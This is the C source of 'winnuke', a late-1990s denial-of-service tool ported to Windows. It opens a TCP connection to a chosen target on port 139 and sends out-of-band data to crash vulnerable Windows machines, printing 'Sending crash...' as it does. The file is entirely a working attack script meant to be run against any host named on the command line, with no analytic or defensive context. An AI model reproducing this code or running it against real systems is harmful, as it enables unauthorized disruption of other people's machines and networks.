/* winnuke.c - (05/07/97)  By _eci */
/* modified for Windows (05/13/97) By _wfx */
/* Tested on Win NT 4.0 */

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, short port) {
	struct sockaddr_in blah;
	struct hostent *he;
	memset((char *)&blah,'0', sizeof(blah));

	blah.sin_family=AF_INET;
	blah.sin_addr.s_addr=inet_addr(server);
	blah.sin_port=htons(port);

	if ((he = gethostbyname(server)) != NULL) {
		memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length );
	}
	else {
		if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
			perror("gethostbyname()");
			return(-3);
		}
	}

	if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
		perror("connect()");
		closesocket(sock);
		return(-4);
	}

	printf("Connected to [%s:%d].\n",server,port);
	return 0;
}


void main(int argc, char *argv[]) {
	WSADATA wsaData; 
	int err; 
	WORD wVersionRequested = MAKEWORD(1, 1); 
 
	if (argc != 2) {
		printf("Usage: %s <target>\n",argv[0]);
		exit(0);
		}

	wVersionRequested = MAKEWORD(1, 1); 
	if ( (err = WSAStartup(wVersionRequested, &wsaData)) != 0 ) {
		printf("Could not initialize Winsock.");
		exit(0);
	}

	if ( (s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
		printf("%d ", WSAGetLastError());
		perror("socket()");
		exit(-1);
	}

	open_sock(s,argv[1],dport);

	printf("Sending crash... ");
	send(s,str,strlen(str),MSG_OOB);
	sleep(100000);
	printf("Done!\n");
	closesocket(s);
}